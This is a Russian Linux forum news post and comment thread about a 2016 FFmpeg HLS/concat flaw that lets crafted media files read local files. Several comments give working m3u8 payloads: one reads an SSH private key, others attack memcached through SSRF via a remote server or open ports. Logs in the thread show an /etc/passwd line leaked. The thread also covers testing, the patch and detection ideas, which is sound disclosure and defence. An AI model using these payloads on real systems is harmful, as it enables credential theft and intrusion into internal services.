LINUX.ORG.RU

Уязвимость в FFMpeg, позволяющая читать любые файлы в системе

 ,


6

6

Сотрудник Mail.ru Максим Андреев опубликовал информацию об уязвимости в популярном наборе свободных библиотек FFMpeg.

Если сформировать специальный видеофайл (расширение не имеет значения) и загрузить его на видеохостинг, то злоумышленник сможет прочесть любой файл на сервере. Если удастся каким-то образом заставить обычного пользователя скачать вредоносный файл (дать ему прямую ссылку, выложить на торрент-трекер), как минимум, можно узнать имя пользователя и какую-нибудь ещё непубличную информацию. В случае с Ubuntu FFmpeg передаст злоумышленнику первую строку указанного злоумышленником файла (например, /etc/passwd того пользователя, который просто скачал файл, даже не запуская его (FFMpeg в Ubuntu используется для создания превью, отображаемого в файловом менеджере).

Кроме того, уязвимости подвержены все видеопроигрыватели, использующие FFMpeg.

В качестве мер защиты предлагается запускать ffmpeg в изолированном окружении, либо ограничить ему доступ к сети.

>>> Подробности

anonymous

Проверено: JB ()
Последнее исправление: JB (всего исправлений: 1)
Ответ на: комментарий от kirk_johnson

Хотя... знаешь, возникла мысль про

concat:header.m3u8|file|header.m3u8|file|...

тут стоит подумать. Но всё равно, я выше небольшую выжимку по файловым менеджерам показал. Даже строчка не утекает.

h4tr3d ★★★★★
()
Ответ на: комментарий от anonymous

на ТВ с виндовз

И почему же это так сложно представить? Windows Mobile есть, заточить её под телевизоры труда не составит.

anonymous
()
Ответ на: комментарий от h4tr3d

Да, такой болячкой получилось получить 3 строки id_rsa

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:./header.m3u8|subfile,,start,0,end,31,,:///home/USER/.ssh/id_rsa|./header.m3u8|subfile,,start,32,end,96,,:///home/USER/.ssh/id_rsa|./header.m3u8|subfile,,start,97,end,161,,:///home/USER/.ssh/id_rsa
#EXT-X-ENDLIST

Получилось только с полным путём. «~» - не воспринимается. Ровно как и $HOME.

h4tr3d ★★★★★
()
Ответ на: комментарий от anonymous

Windows Mobile

умер в 2010 и его больше нет,сейчас есть виндовс-фоне,где все на .net и он не взлетел

и никто в здравом уме не поставит вон-фон на телевизор,темболее что установщик есть только у микрософта и кроме как на мобилки никуда еще не ставили

но по прежнему есть windows CE-для «промышленности»,есго «можно»(теоретически) воткнуть в телевизор,и контракт с микрософтом довольно дешев для винСЕ...но опятьже этим никто не занимается

ибо есть андроид,и ставить и собирать его куда проще
и уж про кол-во софта для андроида по ставнению с вин-* и говорить не стоит

то самое чувство когда под мобильный опенсурс андроид софта в десятки раз больше чем под мобильную винду...только осталось виндена десктопе умереть для полного счастья

anonymous
()
Ответ на: комментарий от kirk_johnson

Тут, как минимум, нужно заранее знать логин пользователя либо домашнюю директорию (оно же может не совпадать, для параноиков).

Нужно ещё проверить, насколько проблема вообще актуальна. Я сводку выше сделал: нигде утечки получить не вышло. Ну т.е. если запускать голый ffmpeg или ffplay на этом файле - да, я могу слить данные. VLC уже не канает. Тамбнейлы - тоже (запрос header.m3u8 видел, но уже он не процессился, соответственно никакие запросы из него не выполнялись). Возможно, что версии сильно старые :)

В любом случае, я выложил архив (Уязвимость в FFMpeg, позволяющая читать любые файлы в системе (комментарий)) и каждый может погонять на своём окружении и, желательно, отрепортить тут. Арчик с последним обновлением уже не актуален, но может кто ещё не обновился :)

h4tr3d ★★★★★
()
Ответ на: комментарий от h4tr3d

Cпасибо!

Протестил на федоре (ставил nginx), selinux не ругается, в логе при закрытии mpv test-local-header.mkv

127.0.0.1 - - [14/Jan/2016:15:27:05 +0500] "GET /pipInput1.flv?root:x:0:0 HTTP/1.1" 200 1010XXXX "-" "Lavf/5X.4X.101" "-"
при открытии mpv test-remote-header.mkv
127.0.0.1 - - [14/Jan/2016:15:30:31 +0500] "GET /header.m3u8 HTTP/1.1" 206 73 "-" "Lavf/56.40.101" "-"
127.0.0.1 - - [14/Jan/2016:15:30:31 +0500] "GET /header.m3u8 HTTP/1.1" 206 73 "-" "Lavf/5X.4X.101" "-"
при закрытии
127.0.0.1 - - [14/Jan/2016:15:31:28 +0500] "GET /pipInput1.flv?root:x:0:0:root:/root:/bin/bash HTTP/1.1" 200 1565XXXX "-" "Lavf/5X.4X.101" "-"
Некоторые цифры заменил на X, так как не знаю, может их опасно в сеть сливать ))) Totem оба файла открывать отказывается - Произошла ошибка, не удалось найти указанный фильм, в логе при этом ничего не пишется. Тумбнэйлы во всей папке генеряться только для flv-файла и тоже без активности с логе nginx. Nautilus 3.18

Я правильно понимаю, что исходя из этого, можно относительно спокойно пользоваться тотемом?

anonymous
()

Кстати, в Ubuntu залатали ещё в 2015.

:~$ ffmpeg -about
ffmpeg version 2.7.4-0ubuntu0.15.10.1 Copyright (c) 2000-2015 the FFmpeg developers
  built with gcc 5.2.1 (Ubuntu 5.2.1-22ubuntu2) 20151010
  configuration: --prefix=/usr --extra-version=0ubuntu0.15.10.1 --build-suffix=-ffmpeg --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --enable-gpl --enable-shared --disable-stripping --enable-avresample --enable-avisynth --enable-frei0r --enable-gnutls --enable-ladspa --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopenjpeg --enable-openal --enable-libopus --enable-libpulse --enable-librtmp --enable-libschroedinger --enable-libshine --enable-libspeex --enable-libtheora --enable-libtwolame --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libxvid --enable-libzvbi --enable-opengl --enable-x11grab --enable-libdc1394 --enable-libiec61883 --enable-libzmq --enable-libssh --enable-libsoxr --enable-libx264 --enable-libopencv --enable-libx265
  WARNING: library configuration mismatch
  swscale     configuration: --prefix=/usr --extra-version=1 --build-suffix=-ffmpeg --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --cc=cc --cxx=g++ --enable-gpl --enable-shared --disable-stripping --disable-decoder=libopenjpeg --disable-decoder=libschroedinger --enable-avresample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopenjpeg --enable-libopus --enable-libpulse --enable-librtmp --enable-libschroedinger --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxvid --enable-libzvbi --enable-openal --enable-opengl --enable-x11grab --enable-libdc1394 --enable-libiec61883 --enable-libzmq --enable-frei0r --enable-libx264 --enable-libopencv
  swresample  configuration: --prefix=/usr --extra-version=1 --build-suffix=-ffmpeg --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --cc=cc --cxx=g++ --enable-gpl --enable-shared --disable-stripping --disable-decoder=libopenjpeg --disable-decoder=libschroedinger --enable-avresample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopenjpeg --enable-libopus --enable-libpulse --enable-librtmp --enable-libschroedinger --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxvid --enable-libzvbi --enable-openal --enable-opengl --enable-x11grab --enable-libdc1394 --enable-libiec61883 --enable-libzmq --enable-frei0r --enable-libx264 --enable-libopencv
  postproc    configuration: --prefix=/usr --extra-version=1 --build-suffix=-ffmpeg --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --cc=cc --cxx=g++ --enable-gpl --enable-shared --disable-stripping --disable-decoder=libopenjpeg --disable-decoder=libschroedinger --enable-avresample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopenjpeg --enable-libopus --enable-libpulse --enable-librtmp --enable-libschroedinger --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxvid --enable-libzvbi --enable-openal --enable-opengl --enable-x11grab --enable-libdc1394 --enable-libiec61883 --enable-libzmq --enable-frei0r --enable-libx264 --enable-libopencv
  libavutil      54. 27.100 / 54. 27.100
  libavcodec     56. 41.100 / 56. 41.100
  libavformat    56. 36.100 / 56. 36.100
  libavdevice    56.  4.100 / 56.  4.100
  libavfilter     5. 16.101 /  5. 16.101
  libavresample   2.  1.  0 /  2.  1.  0
  libswscale      3.  1.101 /  3.  1.101
  libswresample   1.  2.100 /  1.  2.101
  libpostproc    53.  3.100 / 53.  3.100
Unrecognized option 'about'.
Error splitting the argument list: Option not found
Ни конката, ни hls.

Tactile ★★
()
Ответ на: комментарий от anonymous

забыл сказать, mpv 0.13, сейчас обновил еще до 0.14 из репа surfernsk, результат такой же

anonymous
()
Ответ на: комментарий от anonymous

Нет, баги только в ядре Linux

публикуются.

и баги во всех составных частях Windows

публикуются только те которые захотели опубликовать.
Хреновая статистика получается. ms еще со времен 95 известна практикой скрытых апдэйтов (это когда устанавливаем офис но он при этом и систему апдейтит заодно)

anc ★★★★★
()
Ответ на: комментарий от Tactile

Нет. Дело по большому счету не в concat самого видеофайла, а в отсутствии перевода строки в конце скачиваемого плейлиста.

Если даже просто тупо его добавлять, уязвимость будет устранена. То есть проблема как всегда в проверке корректности входных данных.

baka-kun ★★★★★
()
Последнее исправление: baka-kun (всего исправлений: 3)

Вот это мега-фича! Давно ждал.

pacify ★★★★★
()

https://git.videolan.org/?p=ffmpeg.git;a=commitdiff;h=7145e80b4f78cff5ed5fee0...

Закрыли. Вот только патч туповатый. Как правильно заметили на хабре:

А почему белый список протоколов? Спека же не запрещает использовать другие, если я правильно понял. Например, бывает удобно играть медиа-файлы через FTP.

Ох уж этот Мишель. Смержу жену, смержу друзей.

anonymous
()
Ответ на: комментарий от proud_anon

То есть с моего десктопа нельзя так просто через эту дыру украсть файлы?

Можно, если подсунуть тебе видеофайл, который на самом деле плейлист, ffmpeg при попытке создать превьюшку может обратиться на указанный в этом плейлисте сервер и передать на него указанный в этом же плейлисте файл, например /etc/passwd.

Xenius ★★★★★
()
Ответ на: комментарий от DawnCaster

и самое главное - ВОСПРОИЗВЕДЁТ видео которое в нём записано ? Что-бы пользователь даже не догадался что его хакнули.

Посмотри протокол concat, может можно запихать плейлист в начало файла, попытаться его воспроизвести, а затем сам же это файл с определенного оффсета?

Xenius ★★★★★
()
Ответ на: комментарий от Xenius

Тред не читай - сразу отвечай! Тут безопасники уже выяснение провели.

Tactile ★★
()
Ответ на: комментарий от anonymous

Я правильно понимаю, что исходя из этого, можно относительно спокойно пользоваться тотемом?

судя по всему - да.

h4tr3d ★★★★★
()
Ответ на: комментарий от kirk_johnson

Не нашёл подтверждения, кроме:

Если вы пользуетесь, скажем, Kali Linux, то, пока будет генерироваться превьюшка, GStreamer передаст на наш сервер в реферере полный путь этого файла. Так мы можем узнать имя пользователя и какую-нибудь ещё непубличную информацию.

т.е. про имя пользователя только в контексте GStreamer. Это ещё дополнительно нужно исхитрится, ведь нужно новую инфекцию прислать и запустить.

h4tr3d ★★★★★
()
Ответ на: комментарий от baka-kun

Твоя неправда. Всё же дело в HLS парсере: с одной стороны он допускает вложенность плейлистов не больше двух, из корневого плейлиста играет только один вложенный (что соответствует спекам на HLS), с другой, допускает произвольные протоколы в плейлисте. А concat делает ровно то, что должен делать.

h4tr3d ★★★★★
()
Последнее исправление: h4tr3d (всего исправлений: 1)
Ответ на: комментарий от anonymous

Ну, как быстрый - вполне себе. Редко когда HLS используется в связке с FTP или другими протоколами. С другой стороны, согласен, что стоило бы исключить только «внутренние» протоколы, которые может понять только FFmpeg. Но, что бы не говнякать, нужно как-то научиться отличать внутренние от не внутренних. Возможно, какой-то флаг добавится к AVFMT_xxx

h4tr3d ★★★★★
()
Ответ на: комментарий от Tactile

Что-то откомментить я там не могу. Ведь WA существуют, почему не указали на оные. Популисты хреновы.

h4tr3d ★★★★★
()
Ответ на: комментарий от h4tr3d

А concat делает ровно то, что должен делать.

Он объединяет бинарные потоки, как и должен. Проблема в том, что ему могут подсунуть текст с uri, но «забыть» последний перевод строки.

Если бы concat был чуть умнее: по содержимому первого потока определял формат, а затем хотя бы минимально заботился корректностью данных…

Достаточно ведь просто давать разрывать текстовые чанки только между строками. Обрабатывать ввод построчно, завершая каждую переводом.

PS. Я понимаю, что тогда нельзя будет и разрезать на куски тупо по размеру, нужен именно анализ формата.

baka-kun ★★★★★
()
Последнее исправление: baka-kun (всего исправлений: 1)
Ответ на: комментарий от anonymous

Ещё одна деталь: протокол file так и остался в разрешённых, значит теоретически можно сливать данные с онлайн конвертеров, отослав им плэйлист с ссылкой на локальный файл. Вебня обычно от отдельного пользователя (или вообще в контейнере) крутится, конечно, но есть шанс и что-нибудь вкусное упереть с сервиса со слабой защитой.

anonymous
()

Специально зарегистрировался, чтобы принять участие в этом празднике.

Интересно, что все схватились за этот file:/// и не уделяют внимания другим протоколам. У меня получилось записать (почти) произвольную строку в сокет удалённого memcached, потыкаться в tcp и udp порты удалённого сервера, открыть порт на удалённом сервере.

Все мои примеры предполагают, что мы загружаем сформированный файл куда-то, где его обрабатывают ffmpeg/avconv. Понятно, что это очевидно, я в том смысле, что у меня везде всё подготовлено, выложено на мой сервер и т.п., а не пути типа ./header.m3u8

memcached загружаемый файл:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://my-server/test.m3u8|http://my-server/memcache.txt
#EXT-X-ENDLIST

test.m3u8 <- у него не должно быть символов после "?"

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://127.0.0.1:11211?

memcache <- тут живёт то, что мы хотим затолкать в memcached.

# /set key_name 0 9000 5\r\nhello\r\n
Наличие слеша в начале обязательно. Если можно засунуть в test.m3u8 перед вопросом, но смысла никакого, на сервер придут одинаковые строки.

К сожалению, я пока не нашел способа делать работающие переводы строк, поэтому в порт memcached приезжает вот такое: Результат

GET /set key_name 0 9000 5\r\nhello\r\n HTTP/1.1
User-Agent: Lavf/56.1.0
Accept: */*
Range: bytes=0-
Connection: close
Host: 127.0.0.1:11211
Icy-MetaData: 1
Обратить внимание стоит, если читать не любите на GET /set key_name 0 9000 5\r\nhello\r\n HTTP/1.1

Если у кого-нибудь есть идеи как сделать так, чтобы «GET », «set keyname ... » и «hello» были на разных строках - пишите, очень интересно. Тогда можно было бы, например, засунуть сессию пхп, в которой ты царь, если на сервере php хранит сессии в memcached, что весьма распространено у любителей оптимизировать окружающую действительность. Или, зная движок, отравить ему кэш с тем же успехом и стать админом, например.

Из-за заголовков HTTP так же обламывается идея сходить в сокет к другим локальным сервисам - mysql, php-fpm, smtp, ....

Подключение к tcp/udp порту: Сразу скажу, что записать в порт, как мне кажется, ничего нельзя, но можно проверить, открыт ли он. Собственно проверка зависит от движка (один из рассматриваемых мной постил пустую webm-ку в случае, если порт открыт и не постил ничего, тк ffmpeg/libav выходил с ошибкой в окно, если порт был закрыт.

Загружаемый файл

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
tcp://127.0.0.1:22
#EXT-X-ENDLIST

Слушаем порт Загружаемый файл

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
tcp://127.0.0.1:9000?listen=1?listen_timeout=9999999
#EXT-X-ENDLIST

root@debian-web:~# avconv -i test_tcp_listen_long.webm /tmp/out.ogv
avconv version 11.4-6:11.4-1~deb8u1, Copyright (c) 2000-2014 the Libav developers
  built on Jun  4 2015 19:39:02 with gcc 4.9.2 (Debian 4.9.2-10)
// тут оно зависает, пока не придут данные
test_tcp_listen_long.webm: Invalid data found when processing input
root@debian-web:~# 

Подключался так:

root@debian-web:~# nc 127.0.0.1 9000
xxx 
xxx
^C
root@debian-web:~# 

Возможно открытие порта можно использовать для DOS, просто выбрав все порты на сервере. Подключение по tcp/udp тоже можно так использовать, сделав локально (в обход файрволов) много подключений к ... да к любому сервису в общем то - веб, fpm, бд, всё, у чего могут закончиться соединения.

Я экспериментировал на локальном компе и на одной аиб, не будем называть имён (это был синч).

Liquorice
()
Ответ на: комментарий от Liquorice

Это всё уже не актуально, т.к. протоколы в HLS теперь проверяются по белому списку. Актуальной осталась кража файлов с онлайн-конвертеров.

anonymous
()
Ответ на: комментарий от Tactile

Сигнатуру чего? Валидного m3u8 файла? Врядли. Да и дел с ним не имел. Но можете попробовать сами, если ClamAV такое умеет: - определить, что это плей-лист - если последняя строка начинается на http (или другой сетевой протокол) и не оканчивается на \n, заподозрить что-то неладное. - или, если одна из строк начинается на concat:, а первый аргумент - что-то сетевое, заподозрить что-то неладное.

h4tr3d ★★★★★
()
Ответ на: комментарий от baka-kun

Не нужно усложнять там, где этого не требуется. Проблема не в concat, проблема в том, что он используется там, где это явно не предусмотрено. Не допускать такого использования - решение.

h4tr3d ★★★★★
()

Ура! В федорке весьма оперативно выкатили обновления, учитывая что это репы rpmfusion. Проверил (спасибо h4tr3d'у) mpv - теперь все ок - лог nginx чист, mpv нвыдает ошибку.

anonymous
()

Опенсорц, опенсорц... Дырку он презентовал еще в октябре на конференции. Более двух месяцев её описание лежит на гитхабе.

И только после того, как уже на чистом русском языке на хабре ткнули общественность носом - общественность заволновалась и заставила того чувака написать патч.

anonymous
()
Ответ на: комментарий от fornlr

Когда я последний раз щупал там не было поддержки субтитров. И на счет нескольких аудиодорожек я тоже что-то сомневаюсь.

anonymous
()
Ответ на: комментарий от i-rinat

ffmpeg может рендерить текст в картинки

Ух ты, не знал о такой фиче.

anonymous
()
Ответ на: комментарий от Psych218

Пересобрали без concat

Ну вот, а я concat-ом DVD файлы объединял.

anonymous
()

почитал подробности и не увидел особенной проблемы в ffmpeg. Скорее, мощь невероятная.

Этож надо, получив текст на входе, умудриться корректно кодировать его в видео! Программу писали какие-то видеофанаты...

AVL2 ★★★★★
()
Ответ на: комментарий от AVL2

почитал подробности и не увидел особенной проблемы в ffmpeg. Скорее, мощь невероятная.

Хоть ссы в глаза всё божья роса)

Этож надо, получив текст на входе, умудриться корректно кодировать его в видео! Программу писали какие-то видеофанаты...

Ничего особенного на самом деле. ffmpeg уже достаточно давно навороченный комбайн и им частично можно заменять видеоредакторы.

EvilFox ★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.